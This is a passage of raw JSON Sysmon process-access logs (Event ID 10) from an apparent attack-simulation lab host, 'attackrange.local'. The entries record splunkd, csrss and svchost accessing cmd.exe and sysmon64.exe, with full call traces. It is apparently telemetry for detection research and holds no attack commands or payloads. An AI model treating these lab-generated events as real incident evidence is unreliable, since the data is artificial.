Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-001066550300}","TargetProcessId":"3584","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-001066550300}\r\nTargetProcessId: 3584\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-001066550300}","TargetProcessId":"3584","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 